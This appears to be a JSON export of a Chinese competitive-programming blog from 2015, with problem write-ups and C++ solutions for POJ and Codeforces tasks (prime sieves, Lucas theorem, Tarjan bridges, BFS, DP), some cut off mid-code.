(剩余类)","type":"post"},{"categories":["ACM"],"content":"蠢了。 这道题显然可以搜。。 然后自己搜索的姿势果然还是不怎么地。。 最后是蔡大神过掉的。 他的思路是枚举素数，然后把素数的各位拆开，看这些数字是否在给出的字符串中出现过。 一开始TLE掉了。 后来又预处理出来一个标记数组，如果字符串中没有数字2，那么20w+的素数就可以直接跳过去，然后A掉了。 其实因为数字的位数最多才7位。。 暴力也不是不可以。。。。 STL中求全排列的那个函数我也不是没用过。。。比赛的时候怎么就没想到== 再开个map判重 然后素数打表部分。 队友是打了个30000+行的表。。。。 说起来。。。我好像还没用C++写过筛法求素数。。。 说来惭愧啊。。。。 pascal的时候倒是写过几次呢。 再复习下。。。 http://blog.csdn.net/dinosoft/article/details/5829550 写的是快速筛。 1/************************************************************************* 2 \u003e File Name: code/2015summer/0821/A.cpp 3 \u003e Author: 111qqz 4 \u003e Email: rkz2013@126.com 5 \u003e Created Time: 2015年08月20日 星期四 22时17分14秒 6 ************************************************************************/ 7 8#include\u003ciostream\u003e 9#include\u003ciomanip\u003e 10#include\u003ccstdio\u003e 11#include\u003calgorithm\u003e 12#include\u003ccmath\u003e 13#include\u003ccstring\u003e 14#include\u003cstring\u003e 15#include\u003cmap\u003e 16#include\u003cset\u003e 17#include\u003cqueue\u003e 18#include\u003cvector\u003e 19#include\u003cstack\u003e 20#define y0 abc111qqz 21#define y1 hust111qqz 22#define yn hez111qqz 23#define j1 cute111qqz 24#define tm crazy111qqz 25#define lr dying111qqz 26using namespace std; 27#define REP(i, n) for (int i=0;i\u003cint(n);++i) 28typedef long long LL; 29typedef unsigned long long ULL; 30const int inf = 0x7fffffff; 31const int N=1E7+7; 32using namespace std; 33 34bool not_prime[N]; 35int prime[N],pri_num; 36map\u003cint,bool\u003e mp; 37int a[N]; 38int ans; 39map\u003cint,bool\u003e::iterator it; 40char st[15]; 41int len; 42void init() 43{ 44 45 not_prime[0] =true; 46 not_prime[1] = true; 47 48 for(int i = 2;i \u003c N; ++i) 49 { 50 if(!not_prime[i]) 51 prime[++pri_num] = i; 52 for(int j = 1;j \u003c= pri_num \u0026\u0026 i * prime[j] \u003c N; j++) 53 { 54 55 not_prime[i * prime[j]] = true; 56 if(i % prime[j] == 0) break; 57 } 58 } 59} 60 61void solve() 62{ 63 64 int res = 0; 65 for(int i = 1;i \u003c= len; ++i) 66 { 67 68 res = res * 10 + a[i]; 69// cout\u003c\u003c\"res","date":"2015-08-20","externalUrl":null,"permalink":"/2015/08/poj3842/","section":"Posts","summary":"蠢了。 这道题显然可以搜。。 然后自己搜索的姿势果然还是不怎么地。。 最后是蔡大神过掉的。","tags":["brute force","快速筛"],"title":"HUST team contest #2 A An Industrial Spy ||poj 3842 (筛)","type":"post"},{"categories":["ACM"],"content":"TAG 素数 数论 素数总是一个比较常涉及到的内容，掌握求素数的方法是一项基本功。 基本原则就是题目如果只需要判断少量数字是否为素数，直接枚举因子2 。。N^(0.5) ，看看能否整除N。 如果需要判断的次数较多，则先用下面介绍的办法预处理。 一般的线性筛法 # 首先先介绍一般的线性筛法求素数 [cpp] view plaincopy void make_prime() { memset(prime, 1, sizeof(prime)); prime[0]=false; prime[1]=false; int N=31700; for (int i=2; i if (prime[i]) { primes[++cnt ]=i; for (int k=i*i; k prime[k]=false; } return; } 这种方法比较好理解，初始时，假设全部都是素数，当找到一个素数时，显然这个素数乘上另外一个数之后都是合数(注意上面的 ii , 比 i2 要快点 )，把这些合数都筛掉，即算法名字的由来。 但仔细分析能发现，这种方法会造成重复筛除合数，影响效率。比如10，在i=2的时候，k=215筛了一次；在i=5，k=56 的时候又筛了一次。所以，也就有了快速线性筛法。 # 快速线性筛法 # 快速线性筛法没有冗余，不会重复筛除一个数，所以\"几乎\"是线性的，虽然从代码上分析，时间复杂度并不是O(n)。先上代码 [cpp] view plaincopy #include using namespace std; const long N = 200000; long prime[N] = {0},num_prime = 0; int isNotPrime[N] = {1, 1}; int main() { for(long i = 2 ; i \u003c N ; i ++) { if(! isNotPrime[i]) prime[num_prime ++]=i; //关键处1 for(long j = 0 ; j \u003c num_prime \u0026\u0026 i * prime[j] \u003c N ; j ++) { isNotPrime[i * prime[j]] = 1; if( !(i % prime[j] ) ) //关键处2 break; } } return 0; } 首先，先明确一个条件，任何合数都能表示成一系列素数的积。 不管 i 是否是素数，都会执行到\"关键处1\"， ①如果 i 都是是素数的话，那简单，一个大的素数 i 乘以不大于 i 的素数，这样筛除的数跟之前的是不会重复的。筛出的数都是 N=p1*p2的形式, p1，p2之间不相等 ②如果 i 是合数，此时 i 可以表示成递增素数相乘 i=p1p2…*pn, pi都是素数（2\u003c=i\u003c=n）， pi\u003c=pj ( i\u003c=j ) p1是最小的系数。 根据\"关键处2\"的定义，当p1==prime[j] 的时候，筛除就终止了，也就是说，只能筛出不大于p1的质数*i。 我们可以直观地举个例子。i=235 此时能筛除 2i ,不能筛除 3i 如果能筛除3i 的话，当 i’ 等于 i’=335 时，筛除2i’ 就和前面重复了。 需要证明的东西： # 一个数会不会被重复筛除。 合数肯定会被干掉。 根据上面红字的条件，现在分析一个数会不会被重复筛除。 设这个数为 x=p1p2…*pn, pi都是素数（1\u003c=i\u003c=n) , pi\u003c=pj ( i\u003c=j ) 当 i = 2 时，就是上面①的情况， 当 i \u003e2 时， 就是上面②的情况， 对于 i ，第一个能满足筛除 x 的数 y 必然为 y=p2*p3…*pn（p2可以与p1相等或不等），而且满足条件的 y 有且只有一个。所以不会重复删除。 证明合数肯定会被干掉？ 用归纳法吧。 类比一个模型，比如说我们要找出 n 中2个不同的数的所有组合 { i , j } ，1\u003c=i\u003c=n, 1\u003c=j\u003c=n, 我们会这么写 for (i=1; i for (j=i+1; j\u003c=n; ++j) { ///// } 我们取 j=i+1 便能保证组合不会重复。快速筛法大概也是这个道理，不过这里比较难理解，没那么直观。 1楼提供的方法，我整理下 //偶数显然不行，所以先去掉偶数。可以看作上面第一种的","date":"2015-08-20","externalUrl":null,"permalink":"/2015/08/%e7%ad%9b%e6%b3%95%e6%b1%82%e7%b4%a0%e6%95%b0%ef%bc%88%e8%bd%ac%e8%bd%bd%ef%bc%89/","section":"Posts","summary":"TAG 素数 数论 素数总是一个比较常涉及到的内容，掌握求素数的方法是一项基本功。","tags":["算法竞赛"],"title":"筛法求素数（转载）","type":"post"},{"categories":["ACM"],"content":"。","date":"2015-08-20","externalUrl":null,"permalink":"/2015/08/%e8%99%9a/","section":"Posts","summary":"。","tags":["算法竞赛"],"title":".虚","type":"post"},{"categories":["ACM"],"content":"dp方程想错了.果然还是欠练啊. 如果我们不考虑坏点,那么从 (0,0)到(x,y)的方案数是c(x+y,x)或者c(x+y,y) 因为有坏点的存在,我们可以逆向思维,先求出总数,然后减去那些由于坏点的影响不能走的方案数. 由于存在黑点i(x,y)，从左上到该黑点的方案数sum[i] = C(x+y,x)，其中如果在黑点i的左上还有黑点j(u,v)，那么应该减去sum[j]*C(x-u+y-v)(y-u) 然后可以把坏点按照x为第一关键字,y为第二关键字排序. 从左上出发,往右下扫黑点. 还有一个考点是大组合数的求法 因为太大,递推也不行. 可以用欧拉公式求逆元的方法求解. 或者是lucas定理. 记得拿到骑士(1,1)到(n,m)的题和这道题很像. 也是从坐上到右下,中间有些坏点,不过骑士的走法并不是向下或者想有1步,而是向右p步,向下q步,或者向又q步,向下p步. 而且那道题的n和m是 10^9的数量级… 那道题的话就只能用lucas定理了貌似 这道题算是那道题的弱化版本,在此orz zhangk,果然厉害 所以我还是决定写lucas定理的解法 lucas定理适用于 求C(n,m)%p,p为素数 且n,m很大的情况. 引用一段题解: 题意，给一个n * m 的网格，其只有一些点是坏的不能走，要求从0，0点起到n,m的总方案数。 设dp[i] 表示到达第i个坏点且不经过其他坏点的总方案数。增加一个点(n-1,m-1),则dp[k]即为答案。 壮态转移方程 dp[i] = C[x[i]+y[i],x[i]) - sum(dp[j] * C(x[i] - x[j] + y[i] - y[j],x[i] - x[j]),j表示，所有在i之前的坏点，由于这里的dp[i]都是不经过别的坏点，不会有重复的路径，所以减去以前的坏点到达i的路径就是答案。 先排序，就可以得到每个点的先后顺序，这样在更新状态的时候，可以从小到大枚举。总的复杂度为 o(k * k); 现在剩下的问题 就是要求c(n,m),由于n,m很大，一般求组合数的方法是n * m，这样复杂度太高，即使用递推o(n)的复杂度，也是太高的。这里引入了 定理Lucas，这个就是专门求大组合数的一种方法。 Lucas(n,m,p)=c(n%p,m%p)*Lucas(n/p,m/p,p) 设 aa = n % p,bb = m % p;这里可以看出来把n,m很大的数转化了相对比较小的aa,bb, 这个公式把n - n/p m - m/p,这样可以递归解决。求c(aa,bb)就可以直接用组合公式aa!/(bb! * (aa - bb)! ),由于这里有除法，所以要求bb! * (aa - bb)!的逆。 由欧拉公式 p为素数a的逆为pow_mod(a,p-2,p);即a^(p-2) % p; 所以整个公式转化成ret=(ret*fac[a]*pow_mod(fac[b]*fac[a-b]%p,p-2,p))%p; 这样就可以递归求解了。 总的说一下，虽然这题，由于n,m很小只有10^5，所以不用lucas定理也可以解决，但有可能会出现一种情况n,m很大，达到10^9,而MoD很小，只有10^5,这样，这个lucas定理，就可以有真正的用场了,而且要求MOD是质数才可以的，因为是质数，那个欧拉定理才适用的。 1/************************************************************************* 2 \u003e File Name: code/cf/#313/EE.cpp 3 \u003e Author: 111qqz 4 \u003e Email: rkz2013@126.com 5 \u003e Created Time: 2015年08月18日 星期二 18时43分18秒 6 ************************************************************************/ 7 8#include\u003ciostream\u003e 9#include\u003ciomanip\u003e 10#include\u003ccstdio\u003e 11#include\u003calgorithm\u003e 12#include\u003ccmath\u003e 13#include\u003ccstring\u003e 14#i","date":"2015-08-18","externalUrl":null,"permalink":"/2015/08/codeforces560e-geraldandgiantchessdplucasmodpp/","section":"Posts","summary":"dp方程想错了.果然还是欠练啊. 如果我们不考虑坏点,那么从 (0,0)到(x,y)的方案数是c(x+y,x)或者c(x+y,y)","tags":["dp","lucas定理","计数问题"],"title":"codeforces 560 E. Gerald and Giant Chess (dp+lucas定理,求大组合数 mod p,p为质数)","type":"post"},{"categories":["ACM"],"content":"问两个长度相同的字符串是否等价． 相等的条件是，两个字符串相等，或者两个偶数长度（因为要分成长度相同的两段，所以一定是偶数长度才可分）字符串平均分成两部分，每部分对应相等(不考虑顺序) 一开始有一点没想清楚. 如果字符串a分成相等长度的两部分a1,a2,字符串b分成相等的两部分b1,b2 我错误得以为,如果a1和a2等价\u0026\u0026b1;和b2等价,那么a 和 b 就相等了(a和b一定等价,但不一定相等),于是只判断了 equal(a1,b2)\u0026\u0026equal;(a2,b1) wa了一次. \u003c 1/************************************************************************* 2 \u003e File Name: code/cf/#313/D.cpp 3 \u003e Author: 111qqz 4 \u003e Email: rkz2013@126.com 5 \u003e Created Time: 2015年08月17日 星期一 08时42分25秒 6 ************************************************************************/ 7 8#include\u003ciostream\u003e 9#include\u003ciomanip\u003e 10#include\u003ccstdio\u003e 11#include\u003calgorithm\u003e 12#include\u003ccmath\u003e 13#include\u003ccstring\u003e 14#include\u003cstring\u003e 15#include\u003cmap\u003e 16#include\u003cset\u003e 17#include\u003cqueue\u003e 18#include\u003cvector\u003e 19#include\u003cstack\u003e 20#define y0 abc111qqz 21#define y1 hust111qqz 22#define yn hez111qqz 23#define j1 cute111qqz 24#define tm crazy111qqz 25#define lr dying111qqz 26using namespace std; 27#define REP(i, n) for (int i=0;i\u003cint(n);++i) 28typedef long long LL; 29typedef unsigned long long ULL; 30const int inf = 0x7fffffff; 31const int N=2E5+7; 32string a,b; 33int len; 34 35bool equal( string x,string y,int len) 36{ 37 // cout\u003c\u003c\"x:\"\u003c\u003cx\u003c\u003c\" y:\"\u003c\u003cy\u003c\u003c\" len:\"\u003c\u003clen\u003c\u003cendl; 38 if (x==y) return true; 39 string x1,x2,y1,y2; 40 x1 = x.substr(0,len/2); 41 x2 = x.substr(len/2,len); 42 y1 = y.substr(0,len/2); 43 y2 = y.substr(len/2,len); 44 if (len%2==0\u0026\u0026equal(x1,y2,len/2)\u0026\u0026equal(x2,y1,len/2)) 45 { 46 return true; 47 } 48 if (len%2==0\u0026\u0026equal(x1,y1,len/2)\u0026\u0026equal(x2,y2,len/2)) 49 { 50 return true; 51 } 52 return false; 53} 54int main() 55{ 56 cin\u003e\u003ea; 57 cin\u003e\u003eb; 58 len = a.length(); 59 if (equal(a,b,len)) 60 { 61 puts(\"YES\"); 62 } 63 else 64 { 65 puts(\"NO\"); 66 } 67 68 return 0; 69}","date":"2015-08-17","externalUrl":null,"permalink":"/2015/08/codeforces560d-equivalentstrings/","section":"Posts","summary":"问两个长度相同的字符串是否等价． 相等的条件是，两个字符串相等，或者两个偶数长度（因为要分成长度相同的两段，所以一定是偶数长度才可分）字符串平均分成两部分，每部分对应相等(不考虑顺序)","tags":["分治"],"title":"codeforces 560 D. Equivalent Strings(分治)","type":"post"},{"categories":["ACM"],"content":"题意：给定一个六边形的六条边的长，问能分割成多少个单位正三角形． 分割不好办，那我们就反着来，先补成一个包含这个六边形的正三角形． 对于边长为a的正三角形，显然我们可以分割成a*a个单位正三角形 大正三角形的边长为连续的三条边的和 而要减掉的三个小三角形的边长为与之前连续的三条边的起始边的序号的奇偶性相同的三条边． 就是说如果求和的时候求的是前三条边，那么三个要减掉的小三角形的边长就是第一，三，五条边． 如果求和的时候求的是后三条边，那么三个要减掉的小三角形的边长就是第二，第四，第六条边． 1/************************************************************************* 2 \u003e File Name: code/#313/C.cpp 3 \u003e Author: 111qqz 4 \u003e Email: rkz2013@126.com 5 \u003e Created Time: 2015年08月17日 星期一 07时13分54秒 6 ************************************************************************/ 7 8#include\u003ciostream\u003e 9#include\u003ciomanip\u003e 10#include\u003ccstdio\u003e 11#include\u003calgorithm\u003e 12#include\u003ccmath\u003e 13#include\u003ccstring\u003e 14#include\u003cstring\u003e 15#include\u003cmap\u003e 16#include\u003cset\u003e 17#include\u003cqueue\u003e 18#include\u003cvector\u003e 19#include\u003cstack\u003e 20#define y0 abc111qqz 21#define y1 hust111qqz 22#define yn hez111qqz 23#define j1 cute111qqz 24#define tm crazy111qqz 25#define lr dying111qqz 26using namespace std; 27#define REP(i, n) for (int i=0;i\u003cint(n);++i) 28typedef long long LL; 29typedef unsigned long long ULL; 30const int inf = 0x7fffffff; 31int main() 32{ 33 int a[10]; 34 int b[5]; 35 for ( int i = 1 ; i \u003c= 6 ; i++) 36 { 37 cin\u003e\u003ea[i]; 38 } 39 memset(b,0,sizeof(b)); 40 for ( int i = 1 ; i \u003c= 6 ; i++) 41 { 42 if (i\u003c=3) 43 { 44 b[0] = b[0] + a[i] ; 45 } 46 if (i%2==1) 47 { 48 b[i/2+1] = a[i]; 49 } 50 } 51 int ans; 52 ans = b[0]*b[0]-b[1]*b[1]-b[2]*b[2]-b[3]*b[3]; 53 cout\u003c\u003cans\u003c\u003cendl; 54 55 return 0; 56}","date":"2015-08-16","externalUrl":null,"permalink":"/2015/08/codeforces560c-geraldshexagon/","section":"Posts","summary":"题意：给定一个六边形的六条边的长，问能分割成多少个单位正三角形．","tags":["思维题","计算几何"],"title":"codeforces 560 C. Gerald's Hexagon (思维，几何)","type":"post"},{"categories":["ACM"],"content":"1/************************************************************************* 2 \u003e File Name: code/cf/#313/B.cpp 3 \u003e Author: 111qqz 4 \u003e Email: rkz2013@126.com 5 \u003e Created Time: Wed 22 Jul 2015 09:52:54 PM CST 6 ************************************************************************/ 7 8#include\u003ciostream\u003e 9#include\u003ciomanip\u003e 10#include\u003ccstdio\u003e 11#include\u003calgorithm\u003e 12#include\u003ccmath\u003e 13#include\u003ccstring\u003e 14#include\u003cstring\u003e 15#include\u003cmap\u003e 16#include\u003cset\u003e 17#include\u003cqueue\u003e 18#include\u003cvector\u003e 19#include\u003cstack\u003e 20#define y0 abc111qqz 21#define y1 hust111qqz 22#define yn hez111qqz 23#define j1 cute111qqz 24#define tm crazy111qqz 25#define lr dying111qqz 26using namespace std; 27#define REP(i, n) for (int i=0;i\u003cint(n);++i) 28typedef long long LL; 29typedef unsigned long long ULL; 30 31 int a1,b1,a2,b2,a3,b3; 32bool judge (int x2,int y2,int x3,int y3) 33{ 34 if (x2\u003c=a1\u0026\u0026x3\u003c=a1\u0026\u0026y2+y3\u003c=b1) 35 return true; 36 if (y2\u003c=b1\u0026\u0026y3\u003c=b1\u0026\u0026x2+x3\u003c=a1) 37 return true; 38 return false; 39} 40int main() 41{ 42 cin\u003e\u003ea1\u003e\u003eb1\u003e\u003ea2\u003e\u003eb2\u003e\u003ea3\u003e\u003eb3; 43 if (judge(a2,b2,a3,b3)||judge(b2,a2,a3,b3)||judge(b2,a2,b3,a3)||judge(a2,b2,b3,a3)) 44 { 45 puts(\"YES\"); 46 } 47 else 48 { 49 puts(\"NO\"); 50 } 51 52 return 0; 53}","date":"2015-08-16","externalUrl":null,"permalink":"/2015/08/codeforces560b-geraldisintoart/","section":"Posts","summary":"1/************************************************************************* 2 \u003e File Name: code/cf/#313/B.cpp 3 \u003e Author: 111qqz 4 \u003e Email: rkz2013@126.com 5 \u003e Created Time: Wed 22 Jul 2015 09:52:54 PM CST 6 ************************************************************************/ 7 8#include\u003ciostream\u003e 9#include\u003ciomanip\u003e 10#include\u003ccstdio\u003e 11#include\u003calgorithm\u003e 12#include\u003ccmath\u003e 13#include\u003ccstring\u003e 14#include\u003cstring\u003e 15#include\u003cmap\u003e 16#include\u003cset\u003e 17#include\u003cqueue\u003e 18#include\u003cvector\u003e 19#include\u003cstack\u003e 20#define y0 abc111qqz 21#define y1 hust111qqz 22#define yn hez111qqz 23#define j1 cute111qqz 24#define tm crazy111qqz 25#define lr dying111qqz 26using namespace std; 27#define REP(i, n) for (int i=0;i\u003cint(n);++i) 28typedef long long LL; 29typedef unsigned long long ULL; 30 31 int a1,b1,a2,b2,a3,b3; 32bool judge (int x2,int y2,int x3,int y3) 33{ 34 if (x2\u003c=a1\u0026\u0026x3\u003c=a1\u0026\u0026y2+y3\u003c=b1) 35 return true; 36 if (y2\u003c=b1\u0026\u0026y3\u003c=b1\u0026\u0026x2+x3\u003c=a1) 37 return true; 38 return false; 39} 40int main() 41{ 42 cin\u003e\u003ea1\u003e\u003eb1\u003e\u003ea2\u003e\u003eb2\u003e\u003ea3\u003e\u003eb3; 43 if (judge(a2,b2,a3,b3)||judge(b2,a2,a3,b3)||judge(b2,a2,b3,a3)||judge(a2,b2,b3,a3)) 44 { 45 puts(\"YES\"); 46 } 47 else 48 { 49 puts(\"NO\"); 50 } 51 52 return 0; 53}","tags":["模拟"],"title":"codeforces 560 B. Gerald is into Art　（模拟）","type":"post"},{"categories":["ACM"],"content":"做过一道类似的题 因为是问最短，很容易想到是bfs 对于点x，可以到达点x-1,和点2*x 需要注意的是上界限。 并不是max(m,n) 因为可能先达到比m大，之后再减回来的情况是更优的。 max(2m,2n)肯定是足够的 1/************************************************************************* 2 \u003e File Name: code/cf/#295/B.cpp 3 \u003e Author: 111qqz 4 \u003e Email: rkz2013@126.com 5 \u003e Created Time: 2015年08月17日 星期一 04时16分51秒 6 ************************************************************************/ 7 8#include\u003ciostream\u003e 9#include\u003ciomanip\u003e 10#include\u003ccstdio\u003e 11#include\u003calgorithm\u003e 12#include\u003ccmath\u003e 13#include\u003ccstring\u003e 14#include\u003cstring\u003e 15#include\u003cmap\u003e 16#include\u003cset\u003e 17#include\u003cqueue\u003e 18#include\u003cvector\u003e 19#include\u003cstack\u003e 20#define y0 abc111qqz 21#define y1 hust111qqz 22#define yn hez111qqz 23#define j1 cute111qqz 24#define tm crazy111qqz 25#define lr dying111qqz 26using namespace std; 27#define REP(i, n) for (int i=0;i\u003cint(n);++i) 28typedef long long LL; 29typedef unsigned long long ULL; 30const int inf = 0x7fffffff; 31const int N=1E4+7; 32int n,m; 33int d[N]; 34int mx; 35 36void bfs() 37{ 38 memset(d,-1,sizeof(d)); 39 d[n] = 0 ; 40 queue\u003cint\u003eq; 41 q.push(n); 42 while (!q.empty()) 43 { 44 int px = q.front();q.pop(); 45 if (px==m) 46 { 47 cout\u003c\u003cd[m]\u003c\u003cendl; 48 return; 49 } 50 51 int nxt[2]; 52 nxt[0] = px - 1; 53 nxt[1] = 2*px; 54 for ( int i = 0 ; i \u003c 2 ; i++) 55 { 56 if (nxt[i]\u003e=1\u0026\u0026nxt[i]\u003c=mx\u0026\u0026d[nxt[i]]==-1) 57 { 58 d[nxt[i]] = d[px] + 1; 59 q.push(nxt[i]); 60 } 61 } 62 } 63} 64int main() 65{ 66 scanf(\"%d %d\",\u0026n,\u0026m); 67 mx = max(n,m); 68 bfs(); 69 70 71return 0; 72}","date":"2015-08-16","externalUrl":null,"permalink":"/2015/08/codeforces520b-twobuttonsbfs/","section":"Posts","summary":"做过一道类似的题 因为是问最短，很容易想到是bfs 对于点x，可以到达点x-1,和点2*x","tags":["bfs"],"title":"codeforces 520 B. Two Buttons  (bfs)","type":"post"},{"categories":["ACM"],"content":"给一个字符串，问这个字符串中是否26个字母都出现过（大小写只出现一个就算出现过） 开个布尔数组，扫一遍即可。 嘛，做两道水题放松下== 反正也是要清的。 1/************************************************************************* 2 \u003e File Name: code/cf/#295/A.cpp 3 \u003e Author: 111qqz 4 \u003e Email: rkz2013@126.com 5 \u003e Created Time: 2015年08月17日 星期一 04时05分12秒 6 ************************************************************************/ 7 8#include\u003ciostream\u003e 9#include\u003ciomanip\u003e 10#include\u003ccstdio\u003e 11#include\u003calgorithm\u003e 12#include\u003ccmath\u003e 13#include\u003ccstring\u003e 14#include\u003cstring\u003e 15#include\u003cmap\u003e 16#include\u003cset\u003e 17#include\u003cqueue\u003e 18#include\u003cvector\u003e 19#include\u003cstack\u003e 20#define y0 abc111qqz 21#define y1 hust111qqz 22#define yn hez111qqz 23#define j1 cute111qqz 24#define tm crazy111qqz 25#define lr dying111qqz 26using namespace std; 27#define REP(i, n) for (int i=0;i\u003cint(n);++i) 28typedef long long LL; 29typedef unsigned long long ULL; 30const int inf = 0x7fffffff; 31bool v[30]; 32int main() 33{ 34 int n; 35 scanf(\"%d\",\u0026n); 36 memset(v,false,sizeof(v)); 37 string st; 38 cin\u003e\u003est; 39 for ( int i = 0 ; i \u003c n ; i ++) 40 { 41 if (islower(st[i])) 42 { 43 v[st[i]-'a'] = true; 44 } 45 else 46 { 47 v[st[i]-'A'] = true; 48 } 49 } 50 for ( int i = 0 ; i \u003c 26 ; i++) 51 { 52 if (!v[i]) 53 { 54 55 cout\u003c\u003c\"NO\"\u003c\u003cendl; 56 return 0; 57 } 58 } 59 cout\u003c\u003c\"YES\"\u003c\u003cendl; 60 61 return 0; 62}","date":"2015-08-16","externalUrl":null,"permalink":"/2015/08/codeforces520a-pangram/","section":"Posts","summary":"给一个字符串，问这个字符串中是否26个字母都出现过（大小写只出现一个就算出现过） 开个布尔数组，扫一遍即可。 嘛，做两道水题放松下== 反正也是要清的。","tags":["brute force"],"title":"codeforces 520 A. Pangram (暴力)","type":"post"},{"categories":["ACM"],"content":"将博客搬至CSDN","date":"2015-08-16","externalUrl":null,"permalink":"/2015/08/csdn/","section":"Posts","summary":"将博客搬至CSDN","tags":["算法竞赛"],"title":"将博客搬至CSDN","type":"post"},{"categories":["ACM"],"content":"题意是说，给定一个有向图，对于每一条边，问是否是s到t的最短路上一定会经过的边． 如果是就输出yes 如果不是，问能否通过减少这条边的权值（减少的权值就是修理费用），使得这条边成为新的最短路上的边． 对于一条边是否一定是最短路上的边，我们可以从s做一遍最短路，然后反响建边，从t再做一遍最短路． 得到两个d1,d2数组 如果一条边d1[u] + d2[v] + w(u, v) = 最短路，那这条边在最短路上的边．但是未必不能缺少． 我们还要判断这条边是否是不能缺少的． 不能缺少的意思是说，如果没有这条边，就不能构成最短路． 那么这条边一定是桥． 我们可以用tarjan算法求桥． 据说是水题，不过图论还没怎么刷，所以对我来说还是很有难度的． 只是基本懂了 下面的代码是我仿照其他人的代码写出来的….求不鄙视　＞＜ 1/************************************************************************* 2 \u003e File Name: code/cf/#314/E.cpp 3 \u003e Author: 111qqz 4 \u003e Email: rkz2013@126.com 5 \u003e Created Time: 2015年08月17日 星期一 03时09分39秒 6 ************************************************************************/ 7#include\u003ciostream\u003e 8#include\u003ciomanip\u003e 9#include\u003ccstdio\u003e 10#include\u003calgorithm\u003e 11#include\u003ccmath\u003e 12#include\u003ccstring\u003e 13#include\u003cstring\u003e 14#include\u003cmap\u003e 15#include\u003cset\u003e 16#include\u003cqueue\u003e 17#include\u003cvector\u003e 18#include\u003cstack\u003e 19#define y0 abc111qqz 20#define y1 hust111qqz 21#define yn hez111qqz 22#define j1 cute111qqz 23#define tm crazy111qqz 24#define lr dying111qqz 25using namespace std; 26#define REP(i, n) for (int i=0;i\u003cint(n);++i) 27typedef long long LL; 28typedef pair\u003cLL,LL\u003e P; 29const int maxn = 200005; 30const LL mod1 = 1e9 + 7; 31const LL mod2 = 99999991; 32const LL inf = 1e15; 33struct Nod{ 34 LL b,val,next,idx; 35 void init(LL b,LL val,LL next,LL idx){ 36 this-\u003eb=b;this-\u003eval=val;this-\u003enext=next;this-\u003eidx=idx; 37 } 38}buf[2][maxn]; 39LL len[2],E[2][maxn]; 40LL n,m,s,t; 41LL dis[2][maxn],cnt[2][2][maxn],ans1[maxn],ans2[maxn]; 42priority_queue\u003cP,vector\u003cP\u003e,greater\u003cP\u003e \u003e q; 43void init() 44{ 45 memset(E,-1,sizeof(E)); 46 memset(cnt,0,sizeof(cnt)); 47 len[0] = len[1] = 0; 48} 49void add_edge(LL a,LL b,LL val,LL idx) 50{ 51 buf[0][len[0]].init(b,val,E[0][a],idx);E[0][a]=len[0]++; 52 buf[1][len[1]].init(a,val,E[1][b],idx);E[1][b]=len[1]++; 53} 54vo","date":"2015-08-16","externalUrl":null,"permalink":"/2015/08/codeforces567epresidentandroadstarjan/","section":"Posts","summary":"题意是说，给定一个有向图，对于每一条边，问是否是s到t的最短路上一定会经过的边．","tags":["dijkstra","stl","Tarjan"],"title":"codeforces 567 E President and Roads (优先队列＋迪杰斯特拉＋tarjan)","type":"post"},{"categories":["ACM"],"content":"很容易看出来是dp 我们左右一起，一对一对放． 对于每一对，有三种方法，分别是两左，一左一右，两右． 初始区间长度为２n，每次放完后缩小区间长度 ，最后一定是放２个n，这个时候区间长度缩小为２，表明一种满足题意的情况． 状态转移的时候需要分别判断三个状态是否满足题目中给出的k组限制条件． 细节见注释． 1/************************************************************************* 2 \u003e File Name: code/cf/#314/F.cpp 3 \u003e Author: 111qqz 4 \u003e Email: rkz2013@126.com 5 \u003e Created Time: 2015年08月16日 星期日 14时37分15秒 6 ************************************************************************/ 7 8#include\u003ciostream\u003e 9#include\u003ciomanip\u003e 10#include\u003ccstdio\u003e 11#include\u003calgorithm\u003e 12#include\u003ccmath\u003e 13#include\u003ccstring\u003e 14#include\u003cstring\u003e 15#include\u003cmap\u003e 16#include\u003cset\u003e 17#include\u003cqueue\u003e 18#include\u003cvector\u003e 19#include\u003cstack\u003e 20#define y0 abc111qqz 21#define y1 hust111qqz 22#define yn hez111qqz 23#define j1 cute111qqz 24#define tm crazy111qqz 25#define lr dying111qqz 26using namespace std; 27#define REP(i, n) for (int i=0;i\u003cint(n);++i) 28typedef long long LL; 29typedef unsigned long long ULL; 30const int inf = 0x7fffffff; 31const int N = 1E2+7; 32int n, k, a[N], b[N]; 33LL dp[N][N]; 34string sign[N]; 35int L, R, F, S; 36enum 37{ 38 OLD, CUR, NEW 39}; 40int get_type(int i) 41{ 42 if (i \u003c L || i \u003e R) return OLD; 43 if (i == F || i == S) return CUR; 44 return NEW; 45} 46bool compare(int a, int b, string s) 47{ 48 if (s == \"=\") return a == b; 49 if (s == \"\u003e\") return a \u003e b; 50 if (s == \"\u003c\") return a \u003c b; 51 if (s == \"\u003e=\") return a \u003e= b; 52 if (s == \"\u003c=\") return a \u003c= b; 53} 54bool check(int l, int r, int f, int s) 55{ 56 L = l, R = r; 57 F = f, S = s; 58 for (int i = 0; i \u003c k; i++) 59 { 60 int lf = get_type(a[i]); // 判断对于当前要添加的位置，是否有题目中给出限制的位置，如果是，判断是否满足限制． 61 //如果有一个限制条件不满足就不成立，所有限制条件都满足才成立． 62 int rg = get_type(b[i]); 63 if (lf != CUR \u0026\u0026 rg != CUR) continue; 64 if (!compare(lf, rg, sign[i])) return false; 65 } 66 return true; 67} 68LL cal(int l, int r) 6","date":"2015-08-16","externalUrl":null,"permalink":"/2015/08/codeforces567f/","section":"Posts","summary":"很容易看出来是dp 我们左右一起，一对一对放． 对于每一对，有三种方法，分别是两左，一左一右，两右．","tags":["dp"],"title":"codeforces 567 F. Mausoleum (dp)","type":"post"},{"categories":["ACM"],"content":"基础的搜索BFS和DFS,自己找题切吧… 高级搜索的题集就在下面,自己看着办吧… 努力爆搜,努力剪枝吧~~~ 【Level 1】 HDOJ-1429 胜利大逃亡(续)　HDOJ-1885 Key Task HDOJ-1226 超级密码 HDOJ-1664 Different Digits HDOJ-2821 Pusher HDOJ-2128 Tempter of the Bone II HDOJ-3533 Escape HDOJ-4101 Ali and Baba HDOJ-3839 Ancient Messages HDOJ-1685 Booksort HDOJ-2614 Beat HDOJ-3309 Roll The Cube HDOJ-1067 Gap HDOJ-2181 哈密顿绕行世界问题 HDOJ-2437 Jerboas HDOJ-2102 A计划 HDOJ-1195 Open the Lock HDOJ-3295 An interesting mobile game HDOJ-2259 Continuous Same Game(2) HDOJ-3681 Prison Break HDOJ-3085 Nightmare Ⅱ 【Level 2】 POJ-1475 Pushing Boxes POJ-3635 Full Tank? POJ-2044 Weather Forecast POJ-2449 Remmarguts’ Date POJ-1324 Holedox Moving POJ-3322 Bloxorz I POJ-2308 Dearboy’s Puzzle POJ-2688 Cleaning Robot POJ-1376 Robot POJ-1190 生日蛋糕 